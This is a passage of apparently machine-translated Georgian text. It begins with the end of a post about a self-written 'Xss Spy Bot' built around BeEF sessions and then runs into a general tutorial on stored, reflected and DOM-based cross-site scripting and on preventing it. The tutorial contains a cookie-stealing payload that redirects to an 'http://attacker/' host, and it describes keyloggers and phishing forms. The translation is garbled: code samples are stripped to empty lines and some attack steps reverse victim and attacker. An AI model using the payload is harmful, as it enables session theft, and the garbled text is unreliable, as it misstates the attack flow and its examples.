ანუ დახვეწილ საიტზე გადასვლის ღილაკი (სუბიექტურად ბმული) განხორციელდება ჩვეულებრივი ტეგის მეშვეობით. , რომელიც დატვირთულია სტილებით და რომელზედაც დამაგრებულია მოვლენის დამმუშავებლები, რომელთაგან ერთ-ერთი, მაგალითად, onclick გადამისამართებს მომხმარებელს სხვა გვერდზე. ასევე არსებობს სტანდარტული ელემენტები, როგორიცაა [i]ან თვითონ და ა.შ., რომლებიც ასევე რეალურად არის სხვა გვერდების ბმულები, მაგრამ რომლებზეც BeEF არ პასუხობს და გვერდი უბრალოდ არ განახლდება ღილაკების უმეტესობასა და სხვა ელემენტებზე დაწკაპუნებისას. რამაც შეიძლება მომხმარებელს უბიძგოს განაახლოს გვერდი ან ხელახლა შევიდეს მეორე მხრიდან, რაც კლავს ჩვენს აქტიურ XSS სესიას.

ფაილების დასახელების სიმარტივისთვის მე მას ვუწოდე Xss Spy Bot.

P.S.
ამ ყველაფრის დაწერას თვეზე ცოტა მეტი დასჭირდა დროის პერიოდული ნაკლებობისა და მუდმივი ყურადღების გაფანტვის გამო. ასევე ამის გამო, კოდის ხარისხი და რაიმე შეცდომის ალბათობა საკმაოდ მაღალია. ამიტომ გთხოვ, ზედმეტად არ დაიფიცო, დაწერო რა ჭირს ვინმეს, რომ გამოსწორდეს.
მე თვითონ გამოვცადე ბოტი მხოლოდ 4 მანქანაზე, ყველა მათგანი მუშაობს Debian-ზე.

ამ ბოტის გრძელვადიანი გეგმები, თუ არსებობს მოტივაცია:
– განახორციელეთ იმ გვერდების კოდის რენდერი, რომელსაც ბოტი უგზავნის სერვერს, რათა ის დაუყოვნებლივ გაიხსნას ბრაუზერში და შესაძლებელი იყოს მისი „შეხება“ და ტესტირება;
– ისინი შეეცდებიან დაიჭირონ რამდენიმე სიკეთე WebRTC ტექნოლოგიიდან, ანუ იპოვონ გზები ახალი ინფორმაციის მისაღებად, რომელსაც სუფთა JS ვერ ამოიღებს;
– განახორციელეთ კომუნიკაცია ბოტსა და სერვერს შორის WebSocket პროტოკოლის მეშვეობით HTTP-ზე;
- დაამატეთ გარკვეული კომფორტი მართვის პანელზე;

და არის ყოვლისმომცველი გაკვეთილი ჯვარედინი სკრიპტირების შესახებ.

ნაწილი პირველი: მიმოხილვა რა არის XSS?

საიტის სკრიპტირება ( ინგლისური ჯვარედინი საიტის სკრიპტირება) არის კოდის ინექციის შეტევა, რომელიც თავდამსხმელს საშუალებას აძლევს შეასრულოს მავნე JavaScript სხვა მომხმარებლის ბრაუზერში.

თავდამსხმელი პირდაპირ არ ესხმის თავს მსხვერპლს. ამის ნაცვლად, ის იყენებს დაუცველობას ვებსაიტზე, რომელსაც მსხვერპლი სტუმრობს და აყენებს მავნე JavaScript კოდს. მსხვერპლის ბრაუზერში მავნე JavaScript ჩანს, როგორც ვებსაიტის ლეგიტიმური ნაწილი და თავად ვებსაიტი მოქმედებს როგორც თავდამსხმელის უშუალო თანამონაწილე.

მავნე JavaScript კოდის ინექცია

თავდამსხმელისთვის მავნე JavaScript-ის გაშვების ერთადერთი გზა მსხვერპლის ბრაუზერში არის მისი შეყვანა ერთ-ერთ გვერდზე, რომელსაც მსხვერპლი იტვირთება ვებსაიტიდან. ეს შესაძლებელია, თუ ვებსაიტი მომხმარებლებს საშუალებას აძლევს შეიყვანონ მონაცემები მის გვერდებზე და თავდამსხმელს შეუძლია ჩასვას სტრიქონი, რომელიც აღმოჩენილი იქნება, როგორც კოდის ნაწილი მსხვერპლის ბრაუზერში.

ქვემოთ მოყვანილი მაგალითი გვიჩვენებს სერვერის მხარის მარტივ სკრიპტს, რომელიც გამოიყენება საიტზე უახლესი კომენტარების საჩვენებლად:

ბეჭდვა ""
დაბეჭდე "ბოლო კომენტარი:"
მონაცემთა ბაზის დაბეჭდვა.უკანასკნელიკომენტარი
ბეჭდვა ""

სკრიპტი ვარაუდობს, რომ კომენტარი მხოლოდ ტექსტისგან შედგება. თუმცა, რადგან მომხმარებლის პირდაპირი შეყვანა ჩართულია, თავდამსხმელს შეუძლია დატოვოს ეს კომენტარი: "...". ნებისმიერი მომხმარებელი, რომელიც ეწვია გვერდს, ახლა მიიღებს შემდეგ პასუხს:

ბოლო კომენტარი:
...

როდესაც მომხმარებლის ბრაუზერი ჩატვირთავს გვერდს, ის შეასრულებს ყველაფერს, JavaScript კოდის ჩათვლით, რომელიც შეიცავს . თავდამსხმელმა თავდასხმა წარმატებით განახორციელა.

რა არის მავნე JavaScript?

მსხვერპლის ბრაუზერში JavaScript-ის შესრულების შესაძლებლობა შეიძლება არ ჩანდეს განსაკუთრებით მავნე. JavaScript მუშაობს ძალიან შეზღუდულ გარემოში, რომელსაც აქვს უკიდურესად შეზღუდული წვდომა მომხმარებლის და ოპერაციული სისტემის ფაილებზე. სინამდვილეში, თქვენ შეგიძლიათ გახსნათ JavaScript კონსოლი თქვენს ბრაუზერში ახლავე და შეასრულოთ ნებისმიერი JavaScript, რომელიც გსურთ, და ნაკლებად სავარაუდოა, რომ თქვენ შეძლებთ რაიმე ზიანი მიაყენოთ თქვენს კომპიუტერს.

თუმცა, პოტენციალი, რომ JavaScript კოდი იმოქმედოს როგორც მავნე კოდი, უფრო ნათელი ხდება, როდესაც გაითვალისწინებთ შემდეგ ფაქტებს:

• JavaScript-ს აქვს წვდომა მომხმარებლის ზოგიერთ მგრძნობიარე ინფორმაციაზე, როგორიცაა ქუქიები.
• JavaScript-ს შეუძლია გააგზავნოს HTTP მოთხოვნები თვითნებური შინაარსით ნებისმიერი მიმართულებით XMLHttpRequest და სხვა მექანიზმების გამოყენებით.
• JavaScript-ს შეუძლია თვითნებური ცვლილებები შეიტანოს მიმდინარე გვერდის HTML კოდში DOM მანიპულაციის ტექნიკის გამოყენებით.

თუ კომბინირებულია, ეს ფაქტები შეიძლება გამოიწვიოს უსაფრთხოების ძალიან სერიოზული დარღვევები, დეტალები.

მავნე JavaScript კოდის შედეგები

გარდა ამისა, სხვა მომხმარებლის ბრაუზერში თვითნებური JavaScript-ის შესრულების შესაძლებლობა თავდამსხმელს საშუალებას აძლევს განახორციელოს შემდეგი ტიპის შეტევები:

ქუქიების ქურდობა

თავდამსხმელს შეუძლია წვდომა მსხვერპლის ვებსაიტთან დაკავშირებულ ქუქი-ფაილებზე document.cookie-ის გამოყენებით, გაგზავნოს ისინი საკუთარ სერვერზე და გამოიყენოს ისინი მგრძნობიარე ინფორმაციის მოსაპოვებლად, როგორიცაა სესიის ID-ები.

Keylogger

თავდამსხმელს შეუძლია დაარეგისტრიროს კლავიატურის მოვლენის მსმენელი addEventListener-ის გამოყენებით და შემდეგ გაუგზავნოს მომხმარებლის ყველა კლავიატურა თავის სერვერზე, პოტენციურად ჩაწეროს ისეთი მგრძნობიარე ინფორმაცია, როგორიცაა პაროლები და საკრედიტო ბარათის ნომრები.

ფიშინგი

თავდამსხმელს შეუძლია შესვლის ყალბი ფორმა ჩასვას გვერდზე DOM მანიპულაციის გამოყენებით, ფორმის მოქმედების ატრიბუტები დააყენოს საკუთარ სერვერზე და შემდეგ მოატყუოს მომხმარებელი სენსიტიური ინფორმაციის მისაღებად.

მიუხედავად იმისა, რომ ეს შეტევები მნიშვნელოვნად განსხვავდება, ყველა მათგანს აქვს ერთი მნიშვნელოვანი მსგავსება: ვინაიდან თავდამსხმელი აწვდის კოდს ვებსაიტის მიერ მოწოდებულ გვერდზე, მავნე JavaScript შესრულებულია ამ ვებსაიტის კონტექსტში. ეს ნიშნავს, რომ მას განიხილავენ როგორც ამ საიტის ნებისმიერ სხვა სკრიპტს: მას აქვს წვდომა ამ ვებსაიტის მსხვერპლის მონაცემებზე (როგორიცაა ქუქიები) და URL-ის ზოლში ნაჩვენები ჰოსტის სახელი იგივე იქნება, რაც ვებსაიტის. ყველა მიზნით, სკრიპტი განიხილება ვებსაიტის ლეგალურ ნაწილად, რაც საშუალებას აძლევს მას გააკეთოს ყველაფერი, რაც თავად ვებსაიტს შეუძლია.

ეს ფაქტი ხაზს უსვამს მთავარ საკითხს:

თუ თავდამსხმელს შეუძლია გამოიყენოს თქვენი ვებსაიტი სხვა მომხმარებლების ბრაუზერებში თვითნებური JavaScript კოდის შესასრულებლად, თქვენი ვებსაიტისა და მისი მომხმარებლების უსაფრთხოება ირღვევა.

ამ პუნქტის ხაზგასასმელად, ამ სახელმძღვანელოში არსებული მავნე სკრიპტის ზოგიერთი მაგალითი დეტალების გარეშე დარჩება, გამოყენებით.... ეს იმაზე მეტყველებს, რომ თავდამსხმელის მიერ ინექციური სკრიპტის არსებობა პრობლემას წარმოადგენს, მიუხედავად იმისა, თუ რომელი კონკრეტული სკრიპტის კოდი სრულდება რეალურად.

ნაწილი მეორე: XSS შეტევა XSS შეტევის მონაწილეები

სანამ დეტალურად აღვწერთ, თუ როგორ მუშაობს XSS შეტევა, უნდა განვსაზღვროთ მოქმედი პირები, რომლებიც მონაწილეობენ XSS შეტევაში. ზოგადად, XSS შეტევაში სამი მხარეა: ვებგვერდი, მსხვერპლი და თავდამსხმელი.

• ვებგვერდი უზრუნველყოფს HTML გვერდებს მომხმარებლებს, რომლებიც ითხოვენ მათ. ჩვენს მაგალითებში ის მდებარეობს http://website/-ზე.
  • ვებსაიტის მონაცემთა ბაზა არის მონაცემთა ბაზა, რომელიც ინახავს მომხმარებლების მიერ საიტის გვერდებზე შეყვანილ მონაცემებს.
• მსხვერპლი არის ვებსაიტის ჩვეულებრივი მომხმარებელი, რომელიც ითხოვს მისგან გვერდებს ბრაუზერის გამოყენებით.
• თავდამსხმელი არის თავდამსხმელი, რომელიც აპირებს მსხვერპლზე თავდასხმას ვებსაიტზე XSS დაუცველობის გამოყენებით.
  • თავდამსხმელის სერვერი არის ვებ სერვერი, რომელსაც აკონტროლებს თავდამსხმელი და ერთადერთი მიზანია, მოიპაროს მსხვერპლის კონფიდენციალური ინფორმაცია. ჩვენს მაგალითებში ის მდებარეობს http://attacker/-ზე.

თავდასხმის სცენარის მაგალითი

window.location="http://attacker/?cookie="+document.cookie

ეს სკრიპტი შექმნის HTTP მოთხოვნას სხვა URL-ზე, რომელიც გადამისამართებს მომხმარებლის ბრაუზერს თავდამსხმელის სერვერზე. URL მოიცავს მსხვერპლის ქუქიებს, როგორც მოთხოვნის პარამეტრს, როდესაც HTTP მოთხოვნა მოდის თავდამსხმელის სერვერზე, თავდამსხმელს შეუძლია ამ ქუქიების ამოღება მოთხოვნიდან. მას შემდეგ, რაც თავდამსხმელი მიიღებს ქუქი-ფაილებს, მას შეუძლია გამოიყენოს ისინი მსხვერპლზე საკუთარი თავის გამოსაყენებლად და შემდგომი თავდასხმის განსახორციელებლად.

ამიერიდან ზემოთ ნაჩვენები HTML კოდს ეწოდება მავნე სტრიქონი ან მავნე სკრიპტი. მნიშვნელოვანია გვესმოდეს, რომ სტრიქონი თავისთავად მავნეა მხოლოდ იმ შემთხვევაში, თუ ის საბოლოოდ გადაიცემა როგორც HTML მსხვერპლის ბრაუზერში და ეს შეიძლება მოხდეს მხოლოდ იმ შემთხვევაში, თუ ვებსაიტზე არის XSS დაუცველობა.

როგორ მუშაობს ეს მაგალითი თავდასხმა

ქვემოთ მოყვანილი დიაგრამა გვიჩვენებს თავდამსხმელის მიერ თავდასხმის მაგალითს:

თავდამსხმელი იყენებს ვებსაიტის ერთ-ერთ ფორმას ვებსაიტის მონაცემთა ბაზაში მავნე სტრიქონის ჩასართავად.

მსხვერპლი ითხოვს გვერდს ვებგვერდიდან.

საიტი პასუხში შეიცავს მავნე მონაცემთა ბაზის სტრიქონს და უგზავნის მას მსხვერპლს.

მსხვერპლის ბრაუზერი ახორციელებს მავნე სკრიპტს პასუხის შიგნით, აგზავნის მსხვერპლის ქუქი-ფაილს თავდამსხმელის სერვერზე.

XSS ტიპები

XSS შეტევის მიზანი ყოველთვის არის მავნე JavaScript სკრიპტის შესრულება მსხვერპლის ბრაუზერში. ამ მიზნის მისაღწევად რამდენიმე ფუნდამენტურად განსხვავებული გზა არსებობს. XSS შეტევები ხშირად იყოფა სამ ტიპად:

• შენახული (მუდმივი) XSS, სადაც მავნე სტრიქონი სათავეს იღებს ვებსაიტის მონაცემთა ბაზიდან.
• ასახული (არა მუდმივი) XSS, სადაც მავნე სტრიქონი გენერირდება მსხვერპლის მოთხოვნით.
• XSS DOM-ები, სადაც დაუცველობა ხდება კლიენტის მხარის კოდში და არა სერვერის კოდში.

წინა მაგალითი გვიჩვენებს შენახულ XSS შეტევას. ჩვენ ახლა აღვწერთ XSS შეტევების ორ სხვა ტიპს: ასახული XSS და DOM XSS შეტევები.

აისახა XSS

ასახული XSS შეტევისას, მავნე სტრიქონი არის მსხვერპლის მოთხოვნის ნაწილი ვებსაიტზე. საიტი იღებს და ათავსებს ამ მავნე სტრიქონს მომხმარებლისთვის გაგზავნილ პასუხში. ქვემოთ მოცემული დიაგრამა ასახავს ამ სცენარს:

მსხვერპლი ატყუებს თავდამსხმელს ვებსაიტზე URL-ის მოთხოვნის გაგზავნაში.

საიტი შეიცავს მავნე სტრიქონს URL-ის მოთხოვნიდან მსხვერპლის პასუხში.

მსხვერპლის ბრაუზერი ახორციელებს პასუხში მოცემულ მავნე სკრიპტს, აგზავნის მსხვერპლის ქუქი-ფაილებს თავდამსხმელის სერვერზე.

როგორ წარმატებით განვახორციელოთ ასახული XSS შეტევა?

ასახული XSS შეტევა შეიძლება უვნებელი ჩანდეს, რადგან ის მოითხოვს მსხვერპლის გაგზავნას მოთხოვნის გაგზავნას მათი სახელით, რომელიც შეიცავს მავნე სტრიქონს. ვინაიდან არავინ ნებაყოფლობით თავს დაესხმება თავს, როგორც ჩანს, შეტევის რეალურად განხორციელების გზა არ არსებობს.

როგორც ირკვევა, არსებობს მინიმუმ ორი საერთო გზა, რათა მსხვერპლმა განახორციელოს ასახული XSS შეტევა საკუთარ თავზე:

• თუ მომხმარებელი კონკრეტული პიროვნებაა, თავდამსხმელს შეუძლია გაუგზავნოს მავნე URL მსხვერპლს (მაგალითად, ელექტრონული ფოსტით ან მყისიერი მესინჯერით) და მოატყუოს მას, რომ გახსნას ბმული ვებსაიტის მოსანახულებლად.
• თუ სამიზნე არის მომხმარებელთა დიდი ჯგუფი, თავდამსხმელს შეუძლია განათავსოს ბმული მავნე URL-ზე (მაგალითად, საკუთარ ვებსაიტზე ან სოციალურ ქსელში) და დაელოდოს ვიზიტორებს დააწკაპუნონ ბმულზე.

ორივე ეს მეთოდი მსგავსია და ორივე შეიძლება იყოს უფრო წარმატებული URL-ის შემოკლების სერვისების გამოყენებით, რომლებიც დაფარავს მავნე სტრიქონს მომხმარებლებისგან, რომლებსაც შეუძლიათ მისი იდენტიფიცირება.

XSS DOM-ში

XSS DOM-ში არის როგორც შენახული, ასევე ასახული XSS შეტევების ვარიანტი. ამ XSS შეტევისას, მავნე სტრიქონი არ მუშავდება მსხვერპლის ბრაუზერის მიერ, სანამ ვებსაიტის რეალური JavaScript არ შესრულდება. ქვემოთ მოცემული დიაგრამა ასახავს ამ სცენარს ასახული XSS შეტევისთვის:

თავდამსხმელი ქმნის URL-ს, რომელიც შეიცავს მავნე სტრიქონს და უგზავნის მას მსხვერპლს.

მსხვერპლი ატყუებს თავდამსხმელს ვებსაიტზე URL-ის მოთხოვნის გაგზავნაში.

საიტი იღებს მოთხოვნას, მაგრამ პასუხში არ შეიცავს მავნე სტრიქონს.

მსხვერპლის ბრაუზერი ახორციელებს პასუხში მოცემულ ლეგიტიმურ სკრიპტს, რაც იწვევს მავნე სკრიპტის გვერდზე ჩასმას.

მსხვერპლის ბრაუზერი ახორციელებს მავნე სკრიპტს, რომელიც ჩასმულია გვერდზე და აგზავნის მსხვერპლის ქუქი-ფაილებს თავდამსხმელის სერვერზე.

რა განსხვავებაა XSS-ს შორის DOM-ში?

შენახული და ასახული XSS შეტევების წინა მაგალითებში, სერვერი ათავსებს მავნე სკრიპტს გვერდზე, რომელიც შემდეგ გადაგზავნილია მსხვერპლის საპასუხოდ. როდესაც მსხვერპლის ბრაუზერი იღებს პასუხს, ის თვლის, რომ მავნე სკრიპტი არის გვერდის ლეგიტიმური შინაარსის ნაწილი და ავტომატურად ახორციელებს მას გვერდის ჩატვირთვისას, ისევე როგორც ნებისმიერი სხვა სკრიპტი.

DOM-ში XSS შეტევის მაგალითში, მავნე სკრიპტი არ არის ჩასმული გვერდის ნაწილად; ერთადერთი სკრიპტი, რომელიც ავტომატურად სრულდება გვერდის ჩატვირთვისას, არის გვერდის ლეგიტიმური ნაწილი. პრობლემა ის არის, რომ ეს ლეგიტიმური სკრიპტი პირდაპირ იყენებს მომხმარებლის შეყვანას გვერდზე HTML-ის დასამატებლად. ვინაიდან მავნე სტრიქონი ჩასმულია გვერდზე innerHTML-ის გამოყენებით, ის ანალიზდება როგორც HTML, რაც იწვევს მავნე სკრიპტის შესრულებას.

ეს განსხვავება მცირეა, მაგრამ ძალიან მნიშვნელოვანია:

• ტრადიციულ XSS-ში მავნე JavaScript შესრულებულია გვერდის ჩატვირთვისას, როგორც სერვერის მიერ გაგზავნილი HTML-ის ნაწილი.
• DOM-ში XSS-ის შემთხვევაში, მავნე JavaScript შესრულებულია გვერდის ჩატვირთვის შემდეგ, რაც იწვევს ჯავასკრიპტის ლეგიტიმურ გვერდზე წვდომას მომხმარებლის შეყვანაში (რომელიც შეიცავს მავნე სტრიქონს) დაუცველი გზით.

როგორ მუშაობს XSS DOM-ში?

არ არის საჭირო JavaScript წინა მაგალითში; სერვერს შეუძლია დამოუკიდებლად შექმნას მთელი HTML. თუ სერვერის მხარის კოდი არ შეიცავდა დაუცველობას, ვებსაიტი არ იქნება მგრძნობიარე XSS დაუცველობის მიმართ.

თუმცა, როგორც ვებ აპლიკაციები უფრო დახვეწილი ხდება, უფრო და უფრო მეტი HTML გვერდი იქმნება JavaScript-ის გამოყენებით კლიენტის მხარეს და არა სერვერზე. ნებისმიერ დროს, შინაარსი უნდა შეიცვალოს მთელი გვერდის განახლების გარეშე, ეს შესაძლებელია JavaScript-ის გამოყენებით. კერძოდ, ეს არის შემთხვევა, როდესაც გვერდი განახლდება AJAX მოთხოვნის შემდეგ.

ეს ნიშნავს, რომ XSS დაუცველობა შეიძლება იყოს წარმოდგენილი არა მხოლოდ თქვენი საიტის სერვერის კოდში, არამედ თქვენი საიტის კლიენტის მხარეს JavaScript კოდში. ამიტომ, სერვერის მხარის სრულიად უსაფრთხო კოდის შემთხვევაშიც კი, კლიენტის კოდი შეიძლება უსაფრთხოდ არ შეიცავდეს მომხმარებლის შეყვანას DOM-ის განახლებისას გვერდის ჩატვირთვის შემდეგ. თუ ეს მოხდება, კლიენტის მხარის კოდი საშუალებას მისცემს XSS შეტევას მოხდეს სერვერის მხარის კოდის ბრალის გარეშე.

DOM-ზე დაფუძნებული XSS შეიძლება არ იყოს ხილული სერვერისთვის

არის XSS შეტევის განსაკუთრებული შემთხვევა DOM-ში, როდესაც მავნე სტრიქონი არასოდეს იგზავნება ვებსაიტის სერვერზე: ეს ხდება მაშინ, როდესაც მავნე სტრიქონი შეიცავს URL-ის იდენტიფიკატორის ფრაგმენტს (ყველაფერი # სიმბოლოს შემდეგ). ბრაუზერები არ აგზავნიან URL-ის ამ ნაწილს სერვერზე, ამიტომ ვებსაიტს არ შეუძლია მასზე წვდომა სერვერის კოდის გამოყენებით. თუმცა, კლიენტის მხარის კოდს აქვს წვდომა მასზე და, ამრიგად, შესაძლებელია XSS შეტევის განხორციელება არასაიმედო დამუშავების გზით.

ეს შემთხვევა არ შემოიფარგლება მხოლოდ ფრაგმენტის ID-ით. არსებობს სხვა მომხმარებლის შეყვანა, რომელიც უხილავია სერვერისთვის, როგორიცაა ახალი HTML5 ფუნქციები, როგორიცაა LocalStorage და IndexedDB.

ნაწილი მესამე:
XSS პრევენცია XSS პრევენციის ტექნიკა

შეგახსენებთ, რომ XSS არის კოდის ინექციის შეტევა: მომხმარებლის შეყვანა შეცდომით არის განმარტებული, როგორც მავნე კოდი. ამ ტიპის კოდის ინექციის თავიდან ასაცილებლად საჭიროა შეყვანის უსაფრთხო დამუშავება. ვებ დეველოპერისთვის არსებობს ორი ფუნდამენტურად განსხვავებული გზა შეყვანის უსაფრთხო დამუშავების შესასრულებლად:

• კოდირება არის მეთოდი, რომელიც მომხმარებელს საშუალებას აძლევს შეიტანოს მონაცემები მხოლოდ მონაცემების სახით და არ აძლევს ბრაუზერს მათი კოდის დამუშავების საშუალებას.
• ვალიდაცია არის მომხმარებლის შეყვანის ფილტრაციის საშუალება ისე, რომ ბრაუზერი განმარტავს მას, როგორც კოდს მავნე ბრძანებების გარეშე.

მიუხედავად იმისა, რომ ეს არის ფუნდამენტურად განსხვავებული XSS შერბილების მეთოდები, მათ აქვთ რამდენიმე საერთო მახასიათებელი, რომელთა გაგებაც მნიშვნელოვანია რომელიმე ერთის გამოყენებისას:

კონტექსტური შეყვანის უსაფრთხო დამუშავება უნდა განხორციელდეს განსხვავებულად იმის მიხედვით, თუ სად გამოიყენება მომხმარებლის შეყვანა. შემომავალი/გამავალი შეყვანის უსაფრთხო დამუშავება შეიძლება განხორციელდეს ან მაშინ, როდესაც თქვენი საიტი მიიღებს შეყვანას (შემავალი ტრაფიკი) ან უშუალოდ მანამ, სანამ საიტი შეიტანს მომხმარებლის შეყვანას გვერდის შინაარსში (გამავალი). კლიენტის/სერვერის უსაფრთხო შეყვანის დამუშავება შეიძლება განხორციელდეს კლიენტის ან სერვერის მხარეს, თითოეული ვარიანტი საჭიროა სხვადასხვა გარემოებებში.

სანამ დეტალურად აგიხსნით როგორ მუშაობს კოდირება და ვალიდაცია, ჩვენ აღვწერთ თითოეულ ამ პუნქტს.

მომხმარებლის შეყვანის დამუშავება კონტექსტში

ვებ გვერდზე ბევრი კონტექსტია, სადაც მომხმარებლის შეყვანის გამოყენება შესაძლებელია. თითოეული მათგანისთვის სპეციალური წესები უნდა იყოს დაცული, რათა უზრუნველყოს, რომ მომხმარებლის შეყვანა არ შეიძლება გაექცეს მის კონტექსტს და არ იყოს ინტერპრეტირებული, როგორც მავნე კოდი. შემდეგი არის ყველაზე გავრცელებული კონტექსტი:

რატომ აქვს კონტექსტს მნიშვნელობა?

ყველა აღწერილ კონტექსტში, XSS დაუცველობა შეიძლება მოხდეს, თუ მომხმარებლის შეყვანა ჩასმულია პირველ კოდირებამდე ან ვალიდაციამდე. თავდამსხმელს შეუძლია მავნე კოდის შეყვანა უბრალოდ ამ კონტექსტის დახურვის დელიმიტერის ჩასმით, რასაც მოჰყვება მავნე კოდი.

მაგალითად, თუ რაიმე მომენტში ვებსაიტი შეიცავს მომხმარებლის შეყვანას პირდაპირ HTML ატრიბუტში, თავდამსხმელს შეუძლია მავნე სკრიპტის ინექცია ციტირებით დაწყებით, როგორც ეს ნაჩვენებია ქვემოთ:

ამის თავიდან აცილება შესაძლებელია მომხმარებლის შეყვანის ყველა ციტატის ამოღებით და ყველაფერი კარგად იქნება, მაგრამ მხოლოდ ამ კონტექსტში. თუ შეყვანა სხვა კონტექსტშია ჩასმული, დახურვის დელიმიტერი განსხვავებული იქნება და ინექცია შესაძლებელი იქნება. ამ მიზეზით, შეყვანის უსაფრთხო დამუშავება ყოველთვის უნდა იყოს მორგებული იმ კონტექსტზე, სადაც მომხმარებლის შეყვანა იქნება ჩასმული.

შემომავალი/გამავალი მომხმარებლის შეყვანის მართვა

ინსტინქტურად, როგორც ჩანს, XSS-ის თავიდან აცილება შესაძლებელია მომხმარებლის ყველა შეყვანის კოდირებით ან დადასტურებით, როგორც კი ჩვენი საიტი მიიღებს მას. ამ გზით, ნებისმიერი მავნე სტრიქონი უკვე განეიტრალდება, როდესაც ისინი შედის გვერდზე, და HTML გენერირების სკრიპტებს არ მოუწევთ ფიქრი მომხმარებლის შეყვანის უსაფრთხოდ მართვაზე.

პრობლემა ის არის, რომ, როგორც ადრე იყო აღწერილი, მომხმარებლის შეყვანის ჩასმა შესაძლებელია გვერდზე მრავალ კონტექსტში. და არ არსებობს მარტივი გზა იმის დასადგენად, თუ როდის შედის მომხმარებლის შეყვანა კონტექსტში - როგორ იქნება ის საბოლოოდ ჩასმული და ერთი და იგივე მომხმარებლის შეყვანა ხშირად საჭიროებს სხვადასხვა კონტექსტში ჩასმას. XSS-ის თავიდან ასაცილებლად შემომავალი შეყვანის დამუშავებაზე დაყრდნობით, ჩვენ ვქმნით ძალიან მყიფე გადაწყვეტას, რომელიც იქნება შეცდომის მიდრეკილება. (მოძველებული PHP "ჯადოსნური ციტატები" ასეთი გადაწყვეტის მაგალითია.)

ამის ნაცვლად, გამავალი შეყვანის დამუშავება უნდა იყოს თქვენი მთავარი თავდაცვის ხაზი XSS-ისგან, რადგან მას შეუძლია გაითვალისწინოს მომხმარებლის შეყვანის კონკრეტული კონტექსტი. გარკვეულწილად, შემომავალი ვალიდაცია შეიძლება გამოყენებულ იქნას უსაფრთხოების მეორადი ფენის დასამატებლად, მაგრამ ამის შესახებ მოგვიანებით.

სად არის შესაძლებელი მომხმარებლის შეყვანის უსაფრთხოდ დამუშავება?

უმეტეს თანამედროვე ვებ აპლიკაციებში მომხმარებლის შეყვანა მუშავდება როგორც სერვერის, ასევე კლიენტის მხრიდან. ყველა ტიპის XSS-ისგან თავის დასაცავად, შეყვანის უსაფრთხო დამუშავება უნდა განხორციელდეს როგორც სერვერის, ასევე კლიენტის მხრიდან კოდით.

• ტრადიციული XSS-ისგან თავის დასაცავად, შეყვანის უსაფრთხო დამუშავება უნდა განხორციელდეს სერვერის მხარეს კოდით. ეს კეთდება სერვერის მიერ მხარდაჭერილი ენის გამოყენებით.
• DOM-ში XSS შეტევისგან თავის დასაცავად, სადაც სერვერი არასოდეს მიიღებს მავნე სტრიქონს (როგორიცაა ადრე აღწერილი იდენტიფიკატორის ფრაგმენტის შეტევა), შეყვანის უსაფრთხო დამუშავება უნდა განხორციელდეს კლიენტის მხარეს კოდით. ეს კეთდება JavaScript-ის გამოყენებით.

ახლა, როდესაც ჩვენ ავუხსენით, რატომ არის მნიშვნელოვანი კონტექსტი, რატომ არის მნიშვნელოვანი განსხვავება შემომავალ და გამავალ შეყვანის დამუშავებას შორის და რატომ უნდა მოხდეს შეყვანის უსაფრთხო დამუშავება ორივე მხარეს, კლიენტის და სერვერის მხარეს, შეგვიძლია განვაგრძოთ ახსნა, თუ როგორ ხდება ეს ორი. შეყვანის უსაფრთხო დამუშავების ტიპები (დაშიფვრა და ვალიდაცია) რეალურად ხორციელდება.

კოდირება

კოდირება არის გამოსავალი იმ სიტუაციიდან, როდესაც ბრაუზერისთვის აუცილებელია მომხმარებლის შეყვანის ინტერპრეტაცია მხოლოდ მონაცემად და არა კოდით. ვებ დეველოპმენტში კოდირების ყველაზე პოპულარული ტიპია HTML masking, რომელიც გარდაქმნის სიმბოლოებს, როგორიცაა< и >ვ< и >შესაბამისად.

შემდეგი ფსევდოკოდი არის მაგალითი იმისა, თუ როგორ შეიძლება მომხმარებლის შეყვანის (მომხმარებლის შეყვანა) კოდირება HTML masking-ის გამოყენებით და შემდეგ გვერდზე ჩასმა სერვერის მხარის სკრიპტის გამოყენებით:

ბეჭდვა ""
ბეჭდვა "ბოლო კომენტარი:"
ბეჭდვის encodeHtml (მომხმარებლის შეყვანა)
ბეჭდვა ""

თუ მომხმარებელი შეიყვანს შემდეგ ხაზს..., შედეგად მიღებული HTML ასე გამოიყურება:

ბოლო კომენტარი:
...

იმის გამო, რომ სპეციალური მნიშვნელობის მქონე ყველა სიმბოლო გაქრა, ბრაუზერი არ აანალიზებს მომხმარებლის შეყვანის რომელიმე ნაწილს, როგორიცაა HTML.

კლიენტისა და სერვერის გვერდითი კოდის კოდირება

კლიენტის მხრიდან კოდირების შესრულებისას ყოველთვის გამოიყენება JavaScript, რომელსაც აქვს ჩაშენებული ფუნქციები, რომლებიც შიფრავს მონაცემებს სხვადასხვა კონტექსტში.

თქვენი სერვერის მხარის კოდით კოდირების გაკეთებისას, თქვენ ეყრდნობით თქვენს ენაში ან ჩარჩოში არსებულ ფუნქციებს. ხელმისაწვდომი ენებისა და ჩარჩოების დიდი რაოდენობის გამო, ეს გაკვეთილი არ მოიცავს კოდირების დეტალებს რომელიმე კონკრეტულ სერვერის ენაზე ან ჩარჩოში. თუმცა, JavaScript კოდირების ფუნქციები, რომლებიც გამოიყენება კლიენტის მხარეს, ასევე გამოიყენება სერვერის მხარის კოდის დაწერისას.

კლიენტის მხრიდან კოდირება

კლიენტის მხრიდან მომხმარებლის შეყვანის დაშიფვრისას JavaScript-ის გამოყენებით, არის რამდენიმე ჩაშენებული მეთოდი და თვისება, რომლებიც ავტომატურად შიფრავს ყველა მონაცემს კონტექსტზე მგრძნობიარე სტილში:

ზემოთ უკვე ნახსენები ბოლო კონტექსტი (მნიშვნელობები JavaScript-ში) არ შედის ამ სიაში, რადგან JavaScript არ უზრუნველყოფს მონაცემთა კოდირების ჩაშენებულ გზას, რომელიც ჩართული იქნება JavaScript-ის წყაროს კოდში.

კოდირების შეზღუდვები

კოდირების დროსაც კი, შესაძლებელია მავნე სტრიქონების გამოყენება ზოგიერთ კონტექსტში. ამის ნათელი მაგალითია, როდესაც მომხმარებლის შეყვანა გამოიყენება URL-ის მოსაწოდებლად, მაგალითად, ქვემოთ მოცემულ მაგალითში:

document.querySelector("a").href = userInput

